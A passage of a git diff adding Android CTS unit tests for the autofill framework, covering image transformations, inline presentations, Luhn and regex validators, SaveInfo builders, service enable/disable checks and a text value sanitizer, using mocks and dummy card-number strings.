+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void multipleOptionsOneMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1)
+                .addOption(Pattern.compile(".*2"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+    }
+
+    @Test
+    public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*2"), 2, "I am content")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+        verify(template).setContentDescription(0, "I am content");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void twoOptionsMatch() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1)
+                .addOption(Pattern.compile(".*b.*"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template, only()).setImageViewResource(0, 1);
+    }
+
+    @Test
+    public void twoOptionsMatchWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template).setImageViewResource(0, 1);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java
new file mode 100644
index 0000000..0bf230c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.net.Uri;
+import android.os.Parcel;
+import android.service.autofill.InlinePresentation;
+import android.util.Size;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InlinePresentationTest {
+
+    @Test
+    public void testNullInlinePresentationSpecsThrowsException() {
+        assertThrows(NullPointerException.class,
+                () -> createInlinePresentation(/* createSlice */true, /* createSpec */  false));
+    }
+
+    @Test
+    public void testNullSliceThrowsException() {
+        assertThrows(NullPointerException.class,
+                () -> createInlinePresentation(/* createSlice */false, /* createSpec */  true));
+    }
+
+    @Test
+    public void testInlinePresentationValues() {
+        InlinePresentation presentation =
+                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
+
+        assertThat(presentation.isPinned()).isFalse();
+        assertThat(presentation.getInlinePresentationSpec()).isNotNull();
+        assertThat(presentation.getSlice()).isNotNull();
+        assertThat(presentation.getSlice().getItems().size()).isEqualTo(0);
+    }
+
+    @Test
+    public void testtInlinePresentationParcelizeDeparcelize() {
+        InlinePresentation presentation =
+                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
+
+        Parcel p = Parcel.obtain();
+        presentation.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        InlinePresentation targetPresentation = InlinePresentation.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertThat(targetPresentation.isPinned()).isEqualTo(presentation.isPinned());
+        assertThat(targetPresentation.getInlinePresentationSpec()).isEqualTo(
+                presentation.getInlinePresentationSpec());
+        assertThat(targetPresentation.getSlice().getUri()).isEqualTo(
+                presentation.getSlice().getUri());
+        assertThat(targetPresentation.getSlice().getSpec()).isEqualTo(
+                presentation.getSlice().getSpec());
+    }
+
+    private InlinePresentation createInlinePresentation(boolean createSlice, boolean createSpec) {
+        Slice slice = createSlice ? new Slice.Builder(Uri.parse("testuri"),
+                new SliceSpec("type", 1)).build() : null;
+        InlinePresentationSpec spec = createSpec ? new InlinePresentationSpec.Builder(
+                new Size(100, 100), new Size(400, 100)).build() : null;
+        return new InlinePresentation(slice, spec, /* pined */ false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java
new file mode 100644
index 0000000..4b52010
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class LuhnChecksumValidatorTest {
+
+    @Test
+    public void nullId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator((AutofillId[]) null));
+    }
+
+    @Test
+    public void nullAndOtherId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void duplicateFields() {
+        AutofillId id = new AutofillId(1);
+
+        // duplicate fields are allowed
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        // 5 is a valid checksum for 0005000
+        when(finder.findByAutofillId(id)).thenReturn("0005");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        // 6 is a not a valid checksum for 0006000
+        when(finder.findByAutofillId(id)).thenReturn("0006");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void leadingZerosAreIgnored() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void onlyOneChecksumValid() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        for (int i = 0; i < 10; i++) {
+            when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
+            assertThat(validator.isValid(finder)).isEqualTo(i == 3);
+        }
+    }
+
+    @Test
+    public void nullAutofillValuesCauseFailure() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn(null);
+        when(finder.findByAutofillId(id3)).thenReturn("3");
+
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void nonDigits() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+        when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void multipleFieldNumber() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn("3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java
new file mode 100644
index 0000000..d7f8627
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class RegexValidatorTest {
+
+    @Test
+    public void allNullConstructor() {
+        assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
+    }
+
+    @Test
+    public void nullRegexConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void nullAutofillIdConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(null, Pattern.compile(".")));
+    }
+
+    @Test
+    public void unknownField() {
+        AutofillId unknownId = new AutofillId(42);
+
+        RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldValid() {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(creditCardFieldId,
+                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldInvalid() {
+        AutofillId id = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("123a456");
+
+        // Regex has to match the whole value
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java
new file mode 100644
index 0000000..1ad74bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.SaveInfo.FLAG_DELAY_SAVE;
+import static android.service.autofill.SaveInfo.FLAG_DONT_SAVE_ON_FINISH;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalSanitizer;
+import android.service.autofill.Sanitizer;
+import android.service.autofill.SaveInfo;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class SaveInfoTest {
+
+    private final AutofillId mId = new AutofillId(42);
+    private final AutofillId[] mIdArray = { mId };
+    private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
+
+    @Test
+    public void testRequiredIdsBuilder_null() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, null));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_empty() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_nullEntry() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                        new AutofillId[] { null }));
+    }
+
+    @Test
+    public void testBuild_noOptionalIds() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC);
+        assertThrows(IllegalStateException.class, ()-> builder.build());
+    }
+
+    @Test
+    public void testSetOptionalIds_null() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
+    }
+
+    @Test
+    public void testSetOptional_empty() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] {}));
+    }
+
+    @Test
+    public void testSetOptional_nullEntry() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] { null }));
+    }
+
+    @Test
+    public void testAddSanitizer_illegalArgs() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        // Null sanitizer
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(null, mId));
+        // Invalid sanitizer class
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mock(Sanitizer.class), mId));
+        // Null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
+        // Empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
+        // Repeated ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
+    }
+
+    @Test
+    public void testAddSanitizer_sameIdOnDifferentCalls() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        builder.addSanitizer(mSanitizer, mId);
+        assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
+    }
+
+    @Test
+    public void testBuild_invalid() {
+        // No nothing
+        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
+                .build());
+        // Flag only, but invalid flag
+        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
+                .setFlags(FLAG_DONT_SAVE_ON_FINISH).build());
+    }
+
+    @Test
+    public void testBuild_valid() {
+        // Required ids
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, mIdArray)
+                .build()).isNotNull();
+
+        // Optional ids
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setOptionalIds(mIdArray)
+                .build()).isNotNull();
+
+        // Delayed save
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setFlags(FLAG_DELAY_SAVE)
+                .build()).isNotNull();
+    }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java
new file mode 100644
index 0000000..93a0df5
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.disableAutofillService;
+import static android.autofillservice.cts.testcore.Helper.enableAutofillService;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Helper;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+/**
+ * Test case that guarantee the service is disabled before the activity launches.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class ServiceDisabledForSureTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
+
+    private static final String TAG = "ServiceDisabledForSureTest";
+
+    private OnCreateServiceStatusVerifierActivity mActivity;
+
+    @BeforeClass
+    public static void resetService() {
+        disableAutofillService(sContext);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
+                OnCreateServiceStatusVerifierActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Override
+    protected void prepareServicePreTest() {
+        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
+        // but to guarantee the test finishes in the proper state
+        Log.v(TAG, "prepareServicePreTest(): not doing anything");
+        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isFalse());
+    }
+
+    @Test
+    public void testIsAutofillEnabled() throws Exception {
+        mActivity.assertServiceStatusOnCreate(false);
+
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, false);
+
+        enableAutofillService(mContext, SERVICE_NAME);
+        Helper.assertAutofillEnabled(afm, true);
+
+        disableAutofillService(mContext);
+        Helper.assertAutofillEnabled(afm, false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java
new file mode 100644
index 0000000..fab4841
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.disableAutofillService;
+import static android.autofillservice.cts.testcore.Helper.enableAutofillService;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Helper;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+/**
+ * Test case that guarantee the service is enabled before the activity launches.
+ */
+public class ServiceEnabledForSureTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
+
+    private static final String TAG = "ServiceEnabledForSureTest";
+
+    private OnCreateServiceStatusVerifierActivity mActivity;
+
+    @BeforeClass
+    public static void resetService() {
+        enableAutofillService(sContext, SERVICE_NAME);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
+                OnCreateServiceStatusVerifierActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Override
+    protected void prepareServicePreTest() {
+        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
+        // but to guarantee the test finishes in the proper state
+        Log.v(TAG, "prepareServicePreTest(): not doing anything");
+        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isTrue());
+    }
+
+    @Test
+    public void testIsAutofillEnabled() throws Exception {
+        mActivity.assertServiceStatusOnCreate(true);
+
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, true);
+
+        disableAutofillService(mContext);
+        Helper.assertAutofillEnabled(afm, false);
+
+        enableAutofillService(mContext, SERVICE_NAME);
+        Helper.assertAutofillEnabled(afm, true);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java
new file mode 100644
index 0000000..3d4df93
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.TextValueSanitizer;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class TextValueSanitizerTest {
+
+    @Test
+    public void testConstructor_nullValues() {
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(Pattern.compile("42"), null));
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(null, "42"));
+    }
+
+    @Test
+    public void testSanitize_nullValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        assertThat(sanitizer.sanitize(null)).isNull();
+    }
+
+    @Test
+    public void testSanitize_nonTextValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        final AutofillValue value = AutofillValue.forToggle(true);
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_badRegex() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "$2"); // invalid group
+        final AutofillValue value = AutofillValue.forText("blah 42  blaH");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_valueMismatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
+        final AutofillValue value = AutofillValue.forText("43");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_simpleMatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
+                "forty-two");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+            .isEqualTo("forty-two");
+    }
+
+    @Test
+    public void testSanitize_multipleMatches() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "Number");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42  blaH")).getTextValue())
+            .isEqualTo("NumberNumber");
+    }
+
+    @Test
+    public void testSanitize_groupSubstitutionMatch() {
+        final TextValueSanitizer sanitizer =
+                new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("  42 ")).getTextValue())
+                .isEqualTo("42");
+    }
+
+    @Test
+    public void testSanitize_groupSubstitutionMatch_withOptionalGroup() {
+        final TextValueSanitizer sanitizer =
+                new TextValueSanitizer(Pattern.compile("(\\d*)\\s?(\\d*)?"), "$1$2");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42 108")).getTextValue())
+                .isEqualTo("42108");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42108")).getTextValue())
+                .isEqualTo("42108");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+                .isEqualTo("42");
+        final TextValueSanitizer ccSanitizer = new TextValueSanitizer(Pattern.compile(
+                "^(\\d{4,5})-?\\s?(\\d{4,6})-?\\s?(\\d{4,5})" // first 3 are required
+                        + "-?\\s?((?:\\d{4,5})?)-?\\s?((?:\\d{3,5})?)$"), // last 2 are optional
+                "$1$2$3$4$5");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333 4444 5555")).getTextValue())
+                        .isEqualTo("11112222333344445555");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333-44444-55555")).getTextValue())
+                        .isEqualTo("11111222222333334444455555");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333 4444")).getTextValue())
+                        .isEqualTo("1111222233334444");
